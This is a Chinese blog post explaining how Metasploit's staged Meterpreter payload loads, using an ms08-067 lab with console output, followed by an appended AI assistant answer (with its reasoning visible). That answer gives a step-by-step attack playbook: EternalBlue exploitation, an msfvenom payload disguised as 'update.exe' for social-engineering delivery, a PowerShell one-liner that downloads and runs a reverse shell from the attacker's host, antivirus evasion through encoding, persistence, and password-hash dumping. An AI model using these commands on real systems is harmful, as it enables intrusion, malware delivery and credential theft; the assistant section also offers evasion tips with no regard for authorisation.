meterpreter载荷执行过程及原理

本文深入解析Meterpreter的分段载荷运行机制,包括stagepayload设计理念、ms08-067漏洞利用过程及stage1至stage3的上传细节,揭示木马免杀与通信原理。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

原文地址《Deep Dive Into Stageless Meterpreter Payloads

前言

本文通过翻译rapid7的文章,学习理解了meterpreter载荷执行过程及原理,并学习了stage payload的设计理念,这为将来的木马免杀技术学习及通信原理的学习都有很好的帮助,最后在rapid文章翻译基础上,笔者加入了自己的绘图理解,形象的展现了这一过程。

一、什么是stage payload

stage payload是一种分段式的载荷运行方式,它的设计理念是为了满足二进制溢出漏洞利用过程中,由于内存地址中留给攻击者的布局shellcode空间很小的情景。这种情况下,攻击者可以先利用漏洞向靶机发送一个很小的payload,这里命名为stage0,达到建立目标机器与攻击机器建立一个shell通信的目的,然后再通过stage0上传stage1,stage2……等方式,逐步将shell的控制权进行移交,最终得到一个功能强大的shell,这个过程其实和web渗透中的小马拉大马的原理很相似。

二、meterpreter的分段载荷运行过程(ms08-067为例)

实验环境:
攻击机:kali 2020 192.168.253.168
靶机:winxp sp3 192.168.253.141
在这里插入图片描述
我们在攻击机启动msf,选中windows/smb/ms08_067_netapi攻击模块,并设置相应的选项如下。

msf5 exploit(windows/smb/ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS   192.168.253.141  yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT    445              yes       The SMB service port (TCP)
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.253.168  yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   34  Windows XP SP3 Chinese - Simplified (NX)

当我们运行run命令,发送payload时,攻击机器首先会启动一个反弹shell的监听,如下图,默认启动端口为4444端口。
在这里插入图片描述
随后,攻击机将一段精心设计好的shellcode发送给靶机,这段shellcode一般为两部分组成:一部分是由一段指令组成,当EIP指向它时,它能够反弹给攻击机一个shell即stage0,这个stage0使攻击机和靶机建立第一个通信,类似于web渗透的小马。另一部分是触发漏洞的特定exploit,它一般是超过正常程序运行通信字节,进而达到覆盖缓冲区EIP指针的目的,使EIP指针指向之前布局好的stage0的起始地址,过程如下图。
在这里插入图片描述
当漏洞触发,靶机执行了stage0,攻击机和靶机建立了一个通信shell,但这个shell并不能完全控制靶机,于是meterpreter会将stage1上传到靶机,这是一个编译好的动态链接库dll文件文件一般以metsrv命名,本例中我们可以在kali2020的中找到该文件,其绝对路径为

/usr/share/metasploit-framework/vendor/bundle/ruby/2.7.0/gems/metasploit-payloads-1.4.1/data/meterpreter/metsrv.x86.dll

靶机发送stage1(即metsrv)的过程如下图
在这里插入图片描述
我们在msf中的执行过程也可以证实上述情况,在第三个[*]中可以看到提示Sending stage (176195 bytes) to 192.168.253.141,这正是stage1。

msf5 exploit(windows/smb/ms08_067_netapi) > run

[*] Started reverse TCP handler on 192.168.253.168:4444 
[*] 192.168.253.141:445 - Attempting to trigger the vulnerability...
[*] Sending stage (176195 bytes) to 192.168.253.141
[*] Meterpreter session 2 opened (192.168.253.168:4444 -> 192.168.253.141:1047) at 2020-05-28 04:12:14 -0400

meterpreter > 

我们可以查看metsrv.x86.dll文件大小,发现msf发送字节与该文件字节大小极其相近,由于笔者对此研究没有达到代码级别,因此多出那一段字节是什么在此不做讨论,此处我们只需清楚这个过程meterpreter发送了stage1是metsrv.x86.dll即可。

root@kali2020Local:~# ls -l /usr/share/metasploit-framework/vendor/bundle/ruby/2.7.0/gems/metasploit-payloads-1.4.1/data/meterpreter/metsrv.x86.dll
-rw-r--r-- 1 root root 175104 May 15 03:16 /usr/share/metasploit-framework/vendor/bundle/ruby/2.7.0/gems/metasploit-payloads-1.4.1/data/meterpreter/metsrv.x86.dll

一旦stage1(即metsrv.x86.dll)被加载进入内存,stage0通过简单的EIP指针跳转,将指令控制权转交给stage1,stage1即metsrv的前60个字节是一段shellcode,其一旦执行,将利用反射式DLL注入技术重新映射metsrv并将其加载到内存中,使其达到无需将写入磁盘或向主机进程注册而能够正常工作的目的,这也是meterpreter达到一定免杀效果的原理。然后,它调用DllMain()函数在这个已经加载的ddl文件上,接下来我们熟悉的Meterpreter便接管了控制权。
从这开始,MSF会向靶机推送两个Meterpreter扩展DLL:stdapi和priv。这两个DLL文件也都以与metsrv DLL相同的方式反射加载。此时,Meterpreter已经准备完成,并等待接收攻击者的控制指令。当我们得到一个meterpreter shell的时候,使用help命令,可以看到stdapi和priv两个库文件下包含的命令如下,至此我们也大致了解了两个DLL文件实现的功能。

Stdapi: Webcam Commands
=======================

    Command        Description
    -------        -----------
    record_mic     Record audio from the default microphone for X seconds
    webcam_chat    Start a video chat
    webcam_list    List webcams
    webcam_snap    Take a snapshot from the specified webcam
    webcam_stream  Play a video stream from the specified webcam


Stdapi: Audio Output Commands
=============================

    Command       Description
    -------       -----------
    play          play an audio file on target system, nothing written on disk


Priv: Elevate Commands
======================

    Command       Description
    -------       -----------
    getsystem     Attempt to elevate your privilege to that of local system.


Priv: Password database Commands
================================

    Command       Description
    -------       -----------
    hashdump      Dumps the contents of the SAM database


Priv: Timestomp Commands
========================

    Command       Description
    -------       -----------
    timestomp     Manipulate file MACE attributes

三、总结

综上过程,我们在获得一个meterpreter会话过程中,实际上有四个stage上传,它们分别是

  • stage0:smb漏洞利用载荷和体积小功能简单的反弹shell小马
  • stage1:metsrv.x86.dll
  • stage2:stdapi.dll
  • stage3:priv.dll

我们可以用以下一张图来描绘其大致流程
在这里插入图片描述

<think>嗯,用户现在的问题是如何建立Meterpreter会话,这需要从渗透测试的基础流程讲起。用户之前问过search命令的使用,现在转向会话建立,可能是想系统学习Metasploit框架的操作链。 从引用内容看,用户提供的资料其实很有价值:引用[1]详细解释了Meterpreter的工作原理,特别是无阶段模式和配置分离机制;引用[2][3]则提到会话后的操作命令。不过用户当前需求更聚焦在前期的会话建立阶段。 考虑到用户可能的环境差异,需要覆盖多种常见场景: 首先是最基础的漏洞利用流程,用永恒之蓝案例演示最直观。这里要注意强调payload选择的重要性,特别是windows/meterpreter/reverse_tcp这种经典组合。引用[1]提到的HTTP/S通信细节其实很关键,但用户当前问题不需要深入传输层,所以简单提一句即可。 其次要补充替代方案,比如文件投递方式。很多真实环境中直接漏洞利用可能失败,这时候msfvenom生成payload再配合社会工程就是必要手段。需要强调文件格式匹配原则,比如.exe对应Windows,.apk对应Android。 最后必须包含故障排查环节。引用[1]专门讨论过会话失效问题,结合经验要重点提醒端口开放状态和杀软干扰。特别是Windows Defender现在对基础payload检测率很高,建议用户从一开始就习惯用编码处理。 用户提供的引用[3]里那些后渗透命令(如whoami、net user)虽然不直接相关,但可以在建立会话后的操作示例里自然带出,形成完整链条。 关于格式要求,回复中需要包含具体代码块和参数说明,但数学公式用不上。重点是用$...$标记变量名,比如$LHOST这种必须清晰标注。独立公式暂时不需要,所有技术点都用操作步骤呈现更实用。</think>建立Meterpreter会话是渗透测试的核心步骤,以下是详细操作流程及关键要点: --- ### 一、基础建立流程(以永恒之蓝漏洞为例) #### 1. **配置监听器** ```bash msf6 > use exploit/multi/handler msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp msf6 exploit(multi/handler) > set LHOST 192.168.1.100 # 攻击机IP msf6 exploit(multi/handler) > set LPORT 4444 msf6 exploit(multi/handler) > run -j # 后台运行 ``` #### 2. **执行漏洞利用** ```bash msf6 > use exploit/windows/smb/ms17_010_eternalblue msf6 exploit(ms17_010_eternalblue) > set RHOSTS 192.168.1.50 msf6 exploit(ms17_010_eternalblue) > set payload windows/meterpreter/reverse_tcp msf6 exploit(ms17_010_eternalblue) > exploit ``` > 成功执行后自动返回Meterpreter会话[^1] --- ### 二、替代会话建立方法 #### 1. **文件投递方式(社会工程学)** ```bash # 生成恶意负载 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe > update.exe # 目标机执行后触发会话 meterpreter > getuid Server username: DESKTOP-ADMIN\user ``` #### 2. **利用已有会话升级** ```bash # 获取普通shell后升级 C:\> powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://192.168.1.100/powercat.ps1');powercat -c 192.168.1.100 -p 4444 -e cmd" msf6 > sessions -u 1 # 升级会话ID ``` --- ### 三、关键配置说明 | 参数 | 作用 | 示例值 | |--------------|-----------------------|---------------------| | `LHOST` | 监听主机IP | 192.168.1.100 | | `LPORT` | 监听端口 | 4444 | | `RHOSTS` | 目标主机IP | 192.168.1.50 | | `PAYLOAD` | 会话类型 | windows/meterpreter/reverse_tcp | | `ExitOnSession` | 保持监听 | false | --- ### 四、会话管理技巧 ```bash # 查看活跃会话 msf6 > sessions -l # 进入会话 msf6 > sessions -i 2 # 后台运行 meterpreter > background # 杀死会话 msf6 > sessions -k 2 ``` --- ### 五、常见问题解决 1. **会话闪退** - 检查防火墙规则:`netsh advfirewall show allprofiles` - 使用持久化载荷:`set AutoRunScript persistence`[^1] 2. **连接超时** ```bash # 调整通信参数 set SessionCommunicationTimeout 300 set SessionExpirationTimeout 600 ``` 3. **绕过杀软检测** - 使用编码器:`msfvenom -e x86/shikata_ga_nai -i 5` - 启用迁移进程:`set AutoRunScript post/windows/manage/migrate`[^2] --- ### 六、会话建立后的基础操作 ```bash meterpreter > sysinfo # 系统信息 meterpreter > run post/windows/gather/checkvm # 检测虚拟机 meterpreter > load kiwi # 加载mimikatz模块 meterpreter > hashdump # 获取密码哈希[^3] ``` > **提示**:使用`reverse_https`载荷可更好绕过防火墙检测[^1]
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值